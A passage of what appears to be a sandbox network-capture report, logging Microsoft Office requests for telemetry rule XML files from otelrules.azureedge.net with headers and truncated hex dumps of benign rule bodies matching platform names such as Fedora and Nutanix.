2024-12-02 16:56:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:28 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 21da0aac-a01e-0021-7d18-43814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165628Z-174f78459684bddphC1EWRbht400000014dg00000000h0vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:28 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:28 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165628Z-174f7845968jrjrxhC1EWRmmrs00000014w000000000aasm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:28 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0fbdb1d5-101e-0079-0270-435913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165628Z-174f7845968cdxdrhC1EWRg0en00000014k000000000vp75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165628Z-174f7845968xr5c2hC1EWRd0hn0000000pgg00000000k8e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:29 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165630Z-174f7845968kvnqxhC1EWRmf3g0000000rmg000000002a7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:30 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3f63c6b9-401e-0064-499d-4354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165630Z-174f7845968qj8jrhC1EWRh41s00000014m000000000nu73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:30 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165630Z-174f7845968zgtf6hC1EWRqd8s0000000xng00000000h0v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:30 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: b1291b2a-001e-0028-31ae-43c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165631Z-174f7845968nxc96hC1EWRspw800000014h0000000004uvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:30 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 9318b81d-501e-0035-5bd6-43c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165631Z-174f7845968frfdmhC1EWRxxbw00000014q000000000q7em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:32 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 27481374-801e-0078-46b4-42bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165632Z-174f7845968pf68xhC1EWRr4h800000014w000000000rxqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:32 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ce20f954-a01e-006f-7a27-4413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165632Z-174f7845968glpgnhC1EWR7uec00000014wg00000000aq5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:32 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165632Z-174f7845968kvnqxhC1EWRmf3g0000000rkg000000005xbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" 